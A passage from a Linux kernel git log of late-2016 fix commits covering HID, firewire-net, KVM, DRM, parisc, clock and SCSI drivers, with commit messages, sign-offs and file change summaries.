CONFIG_PM range too. Signed-off-by: Borislav Petkov Cc: Srinivas Pandruvada Cc: Jiri Kosina Cc: Benjamin Tissoires Cc: Wei Yongjun Cc: linux-input@vger.kernel.org Acked-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/intel-ish-hid/ipc/pci-ish.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5459ada2b3cd69e6bf1b0c034feb810975d0072b Author: Srinivas Pandruvada Date: Thu Oct 27 16:49:20 2016 -0700 HID: sensor-hub: Fix packing of result buffer for feature report When report count is more than one and report size is not 4 bytes, then we need some packing into result buffer from the caller of function sensor_hub_get_feature. By default the value extracted from a field is 4 bytes from hid core (using hid_hw_request(hsdev->hdev, report, HID_REQ_GET_REPORT)), even if report size if less than 4 byte. So when we copy data to user buffer in sensor_hub_get_feature, we need to only copy report size bytes even when report count is more than 1. This is not an issue for most of the sensor hub fields as report count will be 1 where we already copy only report size bytes, but some string fields like description, it is a problem as the report count will be more than 1. For example: Field(6) Physical(Sensor.OtherCustom) Application(Sensor.Sensor) Usage(11) Sensor.0306 Sensor.0306 Sensor.0306 Sensor.0306 Sensor.0306 Sensor.0306 Sensor.0306 Sensor.0306 Sensor.0306 Sensor.0306 Sensor.0306 Report Size(16) Report Count(11) Here since the report size is 2 bytes, we will have 2 additional bytes of 0s copied into user buffer, if we directly copy to user buffer from report->field[]->value This change will copy report size bytes into the buffer of caller for each usage report->field[]->value. So for example without this change, the data displayed for a custom sensor field "sensor-model": 76 00 101 00 110 00 111 00 118 00 111 (truncated to report count of 11) With change 76 101 110 111 118 111 32 89 111 103 97 ("Lenovo Yoga" in ASCII ) Signed-off-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/hid-sensor-hub.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit a79a812131b07254c09cf325ec68c0d05aaed0b5 Author: Alexey Brodkin Date: Thu Nov 3 18:06:13 2016 +0300 arc: Implement arch-specific dma_map_ops.mmap We used to use generic implementation of dma_map_ops.mmap which is dma_common_mmap() but that only worked for simpler cached mappings when vaddr = paddr. If a driver requests uncached DMA buffer kernel maps it to virtual address so that MMU gets involved and page uncached status takes into account. In that case usage of dma_common_mmap() lead to mapping of vaddr to vaddr for user-space which is obviously wrong. For more detals please refer to verbose explanation here [1]. So here we implement our own version of mmap() which always deals with dma_addr and maps underlying memory to user-space properly (note that DMA buffer mapped to user-space is always uncached because there's no way to properly manage cache from user-space). [1] https://lkml.org/lkml/2016/10/26/973 Reviewed-by: Catalin Marinas Cc: Marek Szyprowski Cc: #4.5+ Signed-off-by: Alexey Brodkin Signed-off-by: Vineet Gupta arch/arc/mm/dma.c | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) commit e9300a4b7bbae83af1f7703938c94cf6dc6d308f Author: Stefan Richter Date: Sun Oct 30 17:32:01 2016 +0100 firewire: net: fix fragmented datagram_size off-by-one RFC 2734 defines the datagram_size field in fragment encapsulation headers thus: datagram_size: The encoded size of the entire IP datagram. The value of datagram_size [...] SHALL be one less than the value of Total Length in the datagram's IP header (see STD 5, RFC 791). Accordingly, the eth1394 driver of Linux 2.6.36 and older set and got this field with a -/+1 offset: ether1394_tx() /* transmit */ ether1394_encapsulate_prep() hdr->ff.dg_size = dg_size - 1; ether1394_data_handler() /* receive */ if (hdr->common.lf == ETH1394_HDR_LF_FF) dg_size = hdr->ff.dg_size + 1; else dg_size = hdr->sf.dg_size + 1; Likewise, I observe OS X 10.4 and Windows XP Pro SP3 to transmit 1500 byte sized datagrams in fragments with datagram_size=1499 if link fragmentation is required. Only firewire-net sets and gets datagram_size without this offset. The result is lacking interoperability of firewire-net with OS X, Windows XP, and presumably Linux' eth1394. (I did not test with the latter.) For example, FTP data transfers to a Linux firewire-net box with max_rec smaller than the 1500 bytes MTU - from OS X fail entirely, - from Win XP start out with a bunch of fragmented datagrams which time out, then continue with unfragmented datagrams because Win XP temporarily reduces the MTU to 576 bytes. So let's fix firewire-net's datagram_size accessors. Note that firewire-net thereby loses interoperability with unpatched firewire-net, but only if link fragmentation is employed. (This happens with large broadcast datagrams, and with large datagrams on several FireWire CardBus cards with smaller max_rec than equivalent PCI cards, and it can be worked around by setting a small enough MTU.) Cc: stable@vger.kernel.org Signed-off-by: Stefan Richter drivers/firewire/net.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 667121ace9dbafb368618dbabcf07901c962ddac Author: Stefan Richter Date: Sat Oct 29 21:28:18 2016 +0200 firewire: net: guard against rx buffer overflows The IP-over-1394 driver firewire-net lacked input validation when handling incoming fragmented datagrams. A maliciously formed fragment with a respectively large datagram_offset would cause a memcpy past the datagram buffer. So, drop any packets carrying a fragment with offset + length larger than datagram_size. In addition, ensure that - GASP header, unfragmented encapsulation header, or fragment encapsulation header actually exists before we access it, - the encapsulated datagram or fragment is of nonzero size. Reported-by: Eyal Itkin Reviewed-by: Eyal Itkin Fixes: CVE 2016-8633 Cc: stable@vger.kernel.org Signed-off-by: Stefan Richter drivers/firewire/net.c | 51 ++++++++++++++++++++++++++++++++++---------------- 1 file changed, 35 insertions(+), 16 deletions(-) commit cfbd950d5e6e649c6c1a88925feada64f890c894 Author: Linus Walleij Date: Thu Oct 20 08:46:32 2016 +0200 video: ARM CLCD: fix Vexpress regression The CLCD does not come up on Versatile Express as it does not (currently) have a syscon node for controlling the block apart from the CLCD itself. Make sure the .init() function can bail out without an error making it probe again. Reported-by: Amit Pundir Signed-off-by: Linus Walleij Tested-by: Amit Pundir Tested-by: Nicolae Rosia Signed-off-by: Tomi Valkeinen drivers/video/fbdev/amba-clcd-versatile.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8243d5597793b5e85143c9a935e1b971c59740a9 Author: Linus Torvalds Date: Tue Nov 1 17:47:18 2016 -0600 sched/core: Remove pointless printout in sched_show_task() In sched_show_task() we print out a useless hex number, not even a symbol, and there's a big question mark whether this even makes sense anyway, I suspect we should just remove it all. Signed-off-by: Linus Torvalds Acked-by: Andy Lutomirski Cc: Peter Zijlstra Cc: Tetsuo Handa Cc: Thomas Gleixner Cc: bp@alien8.de Cc: brgerst@gmail.com Cc: jann@thejh.net Cc: keescook@chromium.org Cc: linux-api@vger.kernel.org Cc: tycho.andersen@canonical.com Link: http://lkml.kernel.org/r/CA+55aFzphURPFzAvU4z6Moy7ZmimcwPuUdYU8bj9z0J+S8X1rw@mail.gmail.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 9 --------- 1 file changed, 9 deletions(-) commit 382005027fedc50b28d40ae64ef1461cca38953e Author: Tetsuo Handa Date: Wed Nov 2 19:50:29 2016 +0900 sched/core: Fix oops in sched_show_task() When CONFIG_THREAD_INFO_IN_TASK=y, it is possible that an exited thread remains in the task list after its stack pointer was already set to NULL. Therefore, thread_saved_pc() and stack_not_used() in sched_show_task() will trigger NULL pointer dereference if an attempt to dump such thread's traces (e.g. SysRq-t, khungtaskd) is made. Since show_stack() in sched_show_task() calls try_get_task_stack() and sched_show_task() is called from interrupt context, calling try_get_task_stack() from sched_show_task() will be safe as well. Signed-off-by: Tetsuo Handa Acked-by: Andy Lutomirski Acked-by: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: bp@alien8.de Cc: brgerst@gmail.com Cc: jann@thejh.net Cc: keescook@chromium.org Cc: linux-api@vger.kernel.org Cc: tycho.andersen@canonical.com Link: http://lkml.kernel.org/r/201611021950.FEJ34368.HFFJOOMLtQOVSF@I-love.SAKURA.ne.jp Signed-off-by: Ingo Molnar kernel/sched/core.c | 3 +++ 1 file changed, 3 insertions(+) commit 7ec30fca2c966293c4593e20459861b106fd62e9 Merge: e676717 c89d545 Author: Dave Airlie Date: Thu Nov 3 10:18:20 2016 +1000 Merge tag 'drm-intel-fixes-2016-11-01' of git://anongit.freedesktop.org/drm-intel into drm-fixes batch of scattered i915 fixes. * tag 'drm-intel-fixes-2016-11-01' of git://anongit.freedesktop.org/drm-intel: drm/i915: Fix SKL+ 90/270 degree rotated plane coordinate computation drm/i915: Remove two invalid warns drm/i915: Rotated view does not need a fence drm/i915/fbc: fix CFB size calculation for gen8+ drm: i915: Wait for fences on new fb, not old drm/i915: Clean up DDI DDC/AUX CH sanitation drm/i915: Respect alternate_aux_channel for all DDI ports drm/i915/gen9: fix watermarks when using the pipe scaler drm/i915: Fix mismatched INIT power domain disabling during suspend drm/i915: fix a read size argument drm/i915: Use fence_write() from rpm resume drm/i915/gen9: fix DDB partitioning for multi-screen cases drm/i915: workaround sparse warning on variable length arrays drm/i915: keep declarations in i915_drv.h commit e676717a12ca8a7a7f9bf4a5ccde16eed308bcfd Merge: eed6f0e 8612674 Author: Dave Airlie Date: Thu Nov 3 10:17:50 2016 +1000 Merge tag 'imx-drm-fixes-20161021' of git://git.pengutronix.de/pza/linux into drm-fixes imx-drm plane, build warning, and error handling fixes - some fixes for active plane reconfiguration support - hide unused label in case of disabled CONFIG_DRM_FBDEV_EMULATION, which caused a build warning - fixed error handling in imx_drm_bind - disallow odd x/y plane offsets for chroma subsampled formats - disable local alpha when switching from a format with alpha channel to an opaque format * tag 'imx-drm-fixes-20161021' of git://git.pengutronix.de/pza/linux: drm/imx: ipuv3-plane: disable local alpha for planes without alpha channel drm/imx: ipuv3-plane: make sure x/y offsets are even in case of chroma subsampling drm/imx: ipuv3-plane: Access old u/vbo properly in ->atomic_check for YU12/YV12 drm/imx: drm_dev_alloc() returns error pointers drm/imx: ipuv3-plane: Skip setting u/vbo only when we don't need modeset drm/imx: ipuv3-plane: Switch EBA buffer only when we don't need modeset gpu: ipu-v3: Use ERR_CAST instead of ERR_PTR(PTR_ERR()) drm/imx: hide an unused label commit eed6f0eda0a009c282bcdd828c273e1239ae0cac Author: Gerd Hoffmann Date: Tue Oct 18 15:32:30 2016 -0200 virtio-gpu: fix vblank events virtio-gpu sends vblank events in virtio_gpu_crtc_atomic_flush, and because of that it must be called for disabled planes too. Ask drm_atomic_helper_commit_planes to do that. v2: update to use new drm_atomic_helper_commit_planes() API. Signed-off-by: Gerd Hoffmann Signed-off-by: Gustavo Padovan Signed-off-by: Dave Airlie drivers/gpu/drm/virtio/virtgpu_display.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 18088db042dd9ae25e8a1e069eb3a16db601ef8a Author: Helge Deller Date: Sat Oct 29 23:47:57 2016 +0200 parisc: Ignore the pkey system calls for now Signed-off-by: Helge Deller arch/parisc/include/uapi/asm/unistd.h | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 6a6e2a14bbc06a627acc71108808fdc866078db4 Author: Helge Deller Date: Sat Oct 29 23:52:43 2016 +0200 parisc: Use LINUX_GATEWAY_ADDR define instead of hardcoded value LINUX_GATEWAY_ADDR is defined in unistd.h. Let's use it. Signed-off-by: Helge Deller arch/parisc/kernel/syscall.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6ed518328d0189e0fdf1bb7c73290d546143ea66 Author: John David Anglin Date: Fri Oct 28 23:00:34 2016 -0400 parisc: Ensure consistent state when switching to kernel stack at syscall entry We have one critical section in the syscall entry path in which we switch from the userspace stack to kernel stack. In the event of an external interrupt, the interrupt code distinguishes between those two states by analyzing the value of sr7. If sr7 is zero, it uses the kernel stack. Therefore it's important, that the value of sr7 is in sync with the currently enabled stack. This patch now disables interrupts while executing the critical section. This prevents the interrupt handler to possibly see an inconsistent state which in the worst case can lead to crashes. Interestingly, in the syscall exit path interrupts were already disabled in the critical section which switches back to the userspace stack. Cc: Signed-off-by: John David Anglin Signed-off-by: Helge Deller arch/parisc/kernel/syscall.S | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit f4125cfdb3008363137f744c101e5d76ead760ba Author: John David Anglin Date: Fri Oct 28 22:13:42 2016 +0200 parisc: Avoid trashing sr2 and sr3 in LWS code There is no need to trash sr2 and sr3 in the Light-weight syscall (LWS). sr2 already points to kernel space (it's zero in userspace, otherwise syscalls wouldn't work), and since the LWS code is executed in userspace, we can simply ignore to preload sr3. Signed-off-by: John David Anglin Signed-off-by: Helge Deller arch/parisc/kernel/syscall.S | 53 ++++++++++++++++++++------------------------ 1 file changed, 24 insertions(+), 29 deletions(-) commit 6f63d0f6be4e48b3042df9541694f6f2c405017e Author: Helge Deller Date: Fri Oct 28 20:56:07 2016 +0200 parisc: use KERN_CONT when printing device inventory Recent changes to printk require KERN_CONT uses to continue logging messages. So add KERN_CONT to output of device inventory. Signed-off-by: Helge Deller arch/parisc/kernel/drivers.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit d9092f52d7e61dd1557f2db2400ddb430e85937e Author: Owen Hofmann Date: Thu Oct 27 11:25:52 2016 -0700 kvm: x86: Check memopp before dereference (CVE-2016-8630) Commit 41061cdb98 ("KVM: emulate: do not initialize memopp") removes a check for non-NULL under incorrect assumptions. An undefined instruction with a ModR/M byte with Mod=0 and R/M-5 (e.g. 0xc7 0x15) will attempt to dereference a null pointer here. Fixes: 41061cdb98a0bec464278b4db8e894a3121671f5 Message-Id: <1477592752-126650-2-git-send-email-osh@google.com> Signed-off-by: Owen Hofmann Signed-off-by: Paolo Bonzini arch/x86/kvm/emulate.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 269ebce4531b8edc4224259a02143181a1c1d77c Author: Dongli Zhang Date: Wed Nov 2 09:04:33 2016 +0800 xen-netfront: cast grant table reference first to type int IS_ERR_VALUE() in commit 87557efc27f6a50140fb20df06a917f368ce3c66 ("xen-netfront: do not cast grant table reference to signed short") would not return true for error code unless we cast ref first to type int. Signed-off-by: Dongli Zhang Signed-off-by: David S. Miller drivers/net/xen-netfront.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4fd19c15decedd06d707e2691c24fce08700e2b1 Author: Eli Cooper Date: Tue Nov 1 23:45:13 2016 +0800 ip6_udp_tunnel: remove unused IPCB related codes Some IPCB fields are currently set in udp_tunnel6_xmit_skb(), which are never used before it reaches ip6tunnel_xmit(), and past that point the control buffer is no longer interpreted as IPCB. This clears these unused IPCB related codes. Currently there is no skb scrubbing in ip6_udp_tunnel, otherwise IPCB(skb)->opt might need to be cleared for IPv4 packets, as shown in 5146d1f1511 ("tunnel: Clear IPCB(skb)->opt before dst_link_failure called"). Signed-off-by: Eli Cooper Signed-off-by: David S. Miller net/ipv6/ip6_udp_tunnel.c | 3 --- 1 file changed, 3 deletions(-) commit 23f4ffedb7d751c7e298732ba91ca75d224bc1a6 Author: Eli Cooper Date: Tue Nov 1 23:45:12 2016 +0800 ip6_tunnel: Clear IP6CB in ip6tunnel_xmit() skb->cb may contain data from previous layers. In the observed scenario, the garbage data were misinterpreted as IP6CB(skb)->frag_max_size, so that small packets sent through the tunnel are mistakenly fragmented. This patch unconditionally clears the control buffer in ip6tunnel_xmit(), which affects ip6_tunnel, ip6_udp_tunnel and ip6_gre. Currently none of these tunnels set IP6CB(skb)->flags, otherwise it needs to be done earlier. Cc: stable@vger.kernel.org Signed-off-by: Eli Cooper Signed-off-by: David S. Miller include/net/ip6_tunnel.h | 1 + 1 file changed, 1 insertion(+) commit 45788f1f5534fb02063ca077719592c2c3ba621e Author: Saeed Mahameed Date: Tue Nov 1 15:09:58 2016 +0200 MAINTAINERS: Update MELLANOX MLX5 core VPI driver maintainers Add myself as a maintainer for mlx5 core driver as well. Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 355f4fb1405ec29d0fac49b4d41fcd78cbd455d5 Author: Jim Mattson Date: Fri Oct 28 08:29:39 2016 -0700 kvm: nVMX: VMCLEAR an active shadow VMCS after last use After a successful VM-entry with the "VMCS shadowing" VM-execution control set, the shadow VMCS referenced by the VMCS link pointer field in the current VMCS becomes active on the logical processor. A VMCS that is made active on more than one logical processor may become corrupted. Therefore, before an active VMCS can be migrated to another logical processor, the first logical processor must execute a VMCLEAR for the active VMCS. VMCLEAR both ensures that all VMCS data are written to memory and makes the VMCS inactive. Signed-off-by: Jim Mattson Reviewed-By: David Matlack Message-Id: <1477668579-22555-1-git-send-email-jmattson@google.com> Signed-off-by: Paolo Bonzini arch/x86/kvm/vmx.c | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) commit ea26e4ec08d4727e3a9e48a6b74695861effcbd9 Author: Paolo Bonzini Date: Tue Nov 1 00:39:48 2016 +0100 KVM: x86: drop TSC offsetting kvm_x86_ops to fix KVM_GET/SET_CLOCK Since commit a545ab6a0085 ("kvm: x86: add tsc_offset field to struct kvm_vcpu_arch", 2016-09-07) the offset between host and L1 TSC is cached and need not be fished out of the VMCS or VMCB. This means that we can implement adjust_tsc_offset_guest and read_l1_tsc entirely in generic code. The simplification is particularly significant for VMX code, where vmx->nested.vmcs01_tsc_offset was duplicating what is now in vcpu->arch.tsc_offset. Therefore the vmcs01_tsc_offset can be dropped completely. More importantly, this fixes KVM_GET_CLOCK/KVM_SET_CLOCK which, after commit 108b249c453d ("KVM: x86: introduce get_kvmclock_ns", 2016-09-01) called read_l1_tsc while the VMCS was not loaded. It thus returned bogus values on Intel CPUs. Fixes: 108b249c453dd7132599ab6dc7e435a7036c193f Reported-by: Roman Kagan Reviewed-by: Radim Krčmář Signed-off-by: Paolo Bonzini arch/x86/include/asm/kvm_host.h | 3 --- arch/x86/kvm/svm.c | 23 ----------------------- arch/x86/kvm/vmx.c | 39 +++------------------------------------ arch/x86/kvm/x86.c | 6 +++--- 4 files changed, 6 insertions(+), 65 deletions(-) commit 6c08d7ab23dd07c046e8de1520073053bdc76ae2 Author: Christophe JAILLET Date: Sun Oct 30 09:49:26 2016 +0100 drm/sun4i: Fix error handling 'sun4i_layers_init()' returns an error pointer in case of error, not NULL. So test it with IS_ERR. Signed-off-by: Christophe JAILLET Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_drv.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a4513320423a388ed55eb0754353f46b10d05a99 Author: Sylwester Nawrocki Date: Wed Nov 2 12:03:03 2016 +0100 ASoC: samsung: spdif: Fix DMA filter initialization This patch fixes issues introduced in commit 73f5dfc68316bef2ab7062ec "ASoC: samsung: get access to DMA engine early to defer probe properly" and indicated by a following compilation warning: CC [M] sound/soc/samsung/spdif.o sound/soc/samsung/spdif.c: In function ‘spdif_probe’: sound/soc/samsung/spdif.c:419:6: warning: ‘filter’ may be used uninitialized in this function [-Wuninitialized] Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/spdif.c | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) commit 67cba0fbb484bbc1af42f2804662a80008ba61e9 Author: Rob Clark Date: Mon Oct 24 11:46:44 2016 -0400 drm/msm/mdp5: 8x16 actually has 8 mixer stages Signed-off-by: Rob Clark drivers/gpu/drm/msm/mdp/mdp5/mdp5_cfg.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 07cd2e36263af34f7f0b48e36eff5d4b77d5756a Author: Rob Clark Date: Mon Oct 17 12:00:21 2016 -0400 drm/msm/mdp5: no scaling support on RGBn pipes for 8x16 Looks like cut/paste error from the other device cfgs (which do support scaling on RGBn pipes). Signed-off-by: Rob Clark drivers/gpu/drm/msm/mdp/mdp5/mdp5_cfg.c | 2 +- drivers/gpu/drm/msm/mdp/mdp5/mdp5_plane.c | 9 +++------ 2 files changed, 4 insertions(+), 7 deletions(-) commit 31e4801aa2e59d4b42dc0fd42846a3aa7a6361af Author: Rob Clark Date: Thu Oct 13 12:43:17 2016 -0400 drm/msm/mdp5: handle non-fullscreen base plane case If the bottom-most layer is not fullscreen, we need to use the BASE mixer stage for solid fill (ie. MDP5_CTL_BLEND_OP_FLAG_BORDER_OUT). The blend_setup() code pretty much handled this already, we just had to figure this out in _atomic_check() and assign the stages appropriately. Also fix the case where there are zero enabled planes, where we also need to enable BORDER_OUT. Signed-off-by: Rob Clark drivers/gpu/drm/msm/mdp/mdp5/mdp5_crtc.c | 46 +++++++++++++++++++------------- 1 file changed, 28 insertions(+), 18 deletions(-) commit 73b65b197024f3f9ef16a28cc9533c011e0a3f6d Author: Archit Taneja Date: Thu Oct 27 11:57:15 2016 +0530 drm/msm: Set CLK_IGNORE_UNUSED flag for PLL clocks The DSI/HDMI PLLs in MSM require resources like interface clocks, power domains to be enabled before we can access their registers. The clock framework doesn't have a mechanism at the moment where we can tie such resources to a clock, so we make sure that the KMS driver enables these resources whenever a PLL is expected to be in use. One place where we can't ensure the resource dependencies are met is when the clock framework tries to disable unused clocks. The KMS driver doesn't know when the clock framework calls the is_enabled clk_op, and hence can't enable interface clocks/power domains beforehand. We set the CLK_IGNORE_UNUSED flag for PLL clocks for now. This needs to be revisited, since bootloaders can enable display, and we would want to disable the PLL clocks if there isn't a display driver using them. Cc: Stephen Boyd Signed-off-by: Archit Taneja Acked-by: Stephen Boyd Signed-off-by: Rob Clark drivers/gpu/drm/msm/dsi/pll/dsi_pll_28nm.c | 1 + drivers/gpu/drm/msm/dsi/pll/dsi_pll_28nm_8960.c | 1 + drivers/gpu/drm/msm/hdmi/hdmi_phy_8996.c | 1 + drivers/gpu/drm/msm/hdmi/hdmi_pll_8960.c | 1 + 4 files changed, 4 insertions(+) commit 8d23ea403044efe97553dd64228b172c8ffca047 Author: Archit Taneja Date: Tue Oct 25 12:17:59 2016 +0530 drm/msm/dsi: Queue HPD helper work in attach/detach callbacks The msm/dsi host drivers calls drm_helper_hpd_irq_event in the mipi_dsi_host attach/detatch callbacks. mipi_dsi_attach()/mipi_dsi_detach() from a panel/bridge driver could be called from a context where the drm_device's mode_config.mutex is already held, resulting in a deadlock. Queue it as work instead. Signed-off-by: Archit Taneja Signed-off-by: Rob Clark drivers/gpu/drm/msm/dsi/dsi_host.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit ceb75787bc75d0a7b88519ab8a68067ac690f55a Author: Johan Hovold Date: Tue Nov 1 11:49:56 2016 +0100 PM / sleep: fix device reference leak in test_suspend Make sure to drop the reference taken by class_find_device() after opening the RTC device. Fixes: 77437fd4e61f (pm: boot time suspend selftest) Signed-off-by: Johan Hovold Signed-off-by: Rafael J. Wysocki kernel/power/suspend_test.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 10f2bfb092e3b49000526c02cfe8b2abbbdbb752 Author: Wei Yongjun Date: Sat Sep 17 15:55:56 2016 +0000 clk: mmp: pxa910: fix return value check in pxa910_clk_init() Fix the retrn value check which testing the wrong variable in pxa910_clk_init(). Fixes: 2bc61da9f7ff ("clk: mmp: add pxa910 DT support for clock driver") Signed-off-by: Wei Yongjun Signed-off-by: Stephen Boyd drivers/clk/mmp/clk-of-pxa910.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit deab07261d54b4db7b627d38e0efac97f176c6d6 Author: Wei Yongjun Date: Sat Sep 17 15:54:28 2016 +0000 clk: mmp: pxa168: fix return value check in pxa168_clk_init() Fix the retrn value check which testing the wrong variable in pxa168_clk_init(). Fixes: ab08aefcd12d ("clk: mmp: add pxa168 DT support for clock driver") Signed-off-by: Wei Yongjun Signed-off-by: Stephen Boyd drivers/clk/mmp/clk-of-pxa168.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a29e52a6e66f4c0c895e7083e4bad2e7957f1fb5 Author: Wei Yongjun Date: Sat Sep 17 15:54:13 2016 +0000 clk: mmp: mmp2: fix return value check in mmp2_clk_init() Fix the retrn value check which testing the wrong variable in mmp2_clk_init(). Fixes: 1ec770d92a62 ("clk: mmp: add mmp2 DT support for clock driver") Signed-off-by: Wei Yongjun Signed-off-by: Stephen Boyd drivers/clk/mmp/clk-of-mmp2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7c1c5413a7bdf1c9adc8d979521f1b8286366aef Author: Scott Wood Date: Mon Oct 17 13:42:23 2016 -0500 clk: qoriq: Don't allow CPU clocks higher than starting value The boot-time frequency of a CPU is considered its rated maximum, as we have no other source of such information. However, this was previously only used for chips with 80% restrictions on secondary PLLs. This usually wasn't a problem because most chips/configs boot with a divider of /1, with other dividers being used only for dynamic frequency reduction. However, at least one config (LS1021A at less than 1 GHz) uses a different divider for top speed. This was causing cpufreq to set a frequency beyond the chip's rated speed. This is fixed by applying a 100%-of-initial-speed limit to all CPU PLLs, similar to the existing 80% limit that only applied to some. Signed-off-by: Scott Wood Cc: stable@vger.kernel.org Signed-off-by: Stephen Boyd drivers/clk/clk-qoriq.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit c7129375312732f006ba9054c12ae4d4097d5519 Merge: 5c2f117 4a262b1 Author: Stephen Boyd Date: Tue Nov 1 17:08:13 2016 -0700 Merge tag 'v4.9-rockchip-clkfixes1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip into clk-fixes Fix return value in error case of new ddrclk type. * tag 'v4.9-rockchip-clkfixes1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip: clk: rockchip: don't return NULL when failing to register ddrclk branch commit 5c2f117a22e46a4afee6ddee29b653a7a2a6b41f Author: Emil Lundmark Date: Wed Oct 12 12:31:40 2016 +0200 clk: imx: fix integer overflow in AV PLL round rate Since 'parent_rate * mfn' may overflow 32 bits, the result should be stored using 64 bits. The problem was discovered when trying to set the rate of the audio PLL (pll4_post_div) on an i.MX6Q. The desired rate was 196.608 MHz, but the actual rate returned was 192.000570 MHz. The round rate function should have been able to return 196.608 MHz, i.e., the desired rate. Fixes: ba7f4f557eb6 ("clk: imx: correct AV PLL rate formula") Cc: Anson Huang Signed-off-by: Emil Lundmark Reviewed-by: Fabio Estevam Acked-by: Shawn Guo Signed-off-by: Stephen Boyd drivers/clk/imx/clk-pllv3.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 577f12c07e4edd54730dc559a9c7bc44d22bf7dc Merge: 04659fe 58bea41 Author: Linus Torvalds Date: Tue Nov 1 17:48:46 2016 -0600 Merge tag 'gcc-plugins-v4.9-rc4' of git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux Pull gcc plugin fixes from Kees Cook: - make sure required exports from gcc plugins are visible to gcc - switch latent_entropy to unsigned long to avoid stack frame bloat * tag 'gcc-plugins-v4.9-rc4' of git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux: latent_entropy: Fix wrong gcc code generation with 64 bit variables gcc-plugins: Export symbols needed by gcc commit 04659febcb074de61ae80dbb1fb62f56c08a2b91 Merge: a75e003 75bfa81 Author: Linus Torvalds Date: Tue Nov 1 16:56:05 2016 -0600 Merge tag 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mst/vhost Pull virtio updates from Michael Tsirkin: "Tests, fixes and cleanups. Just minor tweaks, there's nothing major in this cycle" * tag 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mst/vhost: virtio_ring: mark vring_dma_dev inline virtio/vhost: add Jason to list of maintainers virtio_blk: Delete an unnecessary initialisation in init_vq() virtio_blk: Use kmalloc_array() in init_vq() virtio: remove config.c virtio: console: Unlock vqs while freeing buffers ringtest: poll for new buffers once before updating event index ringtest: commonize implementation of poll_avail/poll_used ringtest: use link-time optimization virtio: update balloon size in balloon "probe" virtio_ring: Make interrupt suppression spec compliant virtio_pci: Limit DMA mask to 44 bits for legacy virtio devices commit a75e0032684d5ad9465f68d54b9d7337790b4ef2 Merge: 0c183d9 05692d7 Author: Linus Torvalds Date: Tue Nov 1 16:52:56 2016 -0600 Merge tag 'vfio-v4.9-rc4' of git://github.com/awilliam/linux-vfio Pull VFIO fix from Alex Williamson: "SET_IRQS ioctl parameter sanitization (Vlad Tsyrklevich)" * tag 'vfio-v4.9-rc4' of git://github.com/awilliam/linux-vfio: vfio/pci: Fix integer overflows, bitmask check commit a5dd506e1584e91f3e7500ab9a165aa1b49eabd4 Author: Bill Kuzeja Date: Fri Oct 21 16:45:27 2016 -0400 scsi: qla2xxx: Fix scsi scan hang triggered if adapter fails during init A system can get hung task timeouts if a qlogic board fails during initialization (if the board breaks again or fails the init). The hang involves the scsi scan. In a nutshell, since commit beb9e315e6e0 ("qla2xxx: Prevent removal and board_disable race"): ...it is possible to have freed ha (base_vha->hw) early by a call to qla2x00_remove_one when pdev->enable_cnt equals zero: if (!atomic_read(&pdev->enable_cnt)) { scsi_host_put(base_vha->host); kfree(ha); pci_set_drvdata(pdev, NULL); return; Almost always, the scsi_host_put above frees the vha structure (attached to the end of the Scsi_Host we're putting) since it's the last put, and life is good. However, if we are entering this routine because the adapter has broken sometime during initialization AND a scsi scan is already in progress (and has done its own scsi_host_get), vha will not be freed. What's worse, the scsi scan will access the freed ha structure through qla2xxx_scan_finished: if (time > vha->hw->loop_reset_delay * HZ) return 1; The scsi scan keeps checking to see if a scan is complete by calling qla2xxx_scan_finished. There is a timeout value that limits the length of time a scan can take (hw->loop_reset_delay, usually set to 5 seconds), but this definition is in the data structure (hw) that can get freed early. This can yield unpredictable results, the worst of which is that the scsi scan can hang indefinitely. This happens when the freed structure gets reused and loop_reset_delay gets overwritten with garbage, which the scan obliviously uses as its timeout value. The fix for this is simple: at the top of qla2xxx_scan_finished, check for the UNLOADING bit in the vha structure (_vha is not freed at this point). If UNLOADING is set, we exit the scan for this adapter immediately. After this last reference to the ha structure, we'll exit the scan for this adapter, and continue on. This problem is hard to hit, but I have run into it doing negative testing many times now (with a test specifically designed to bring it out), so I can verify that this fix works. My testing has been against a RHEL7 driver variant, but the bug and patch are equally relevant to to the upstream driver. Fixes: beb9e315e6e0 ("qla2xxx: Prevent removal and board_disable race") 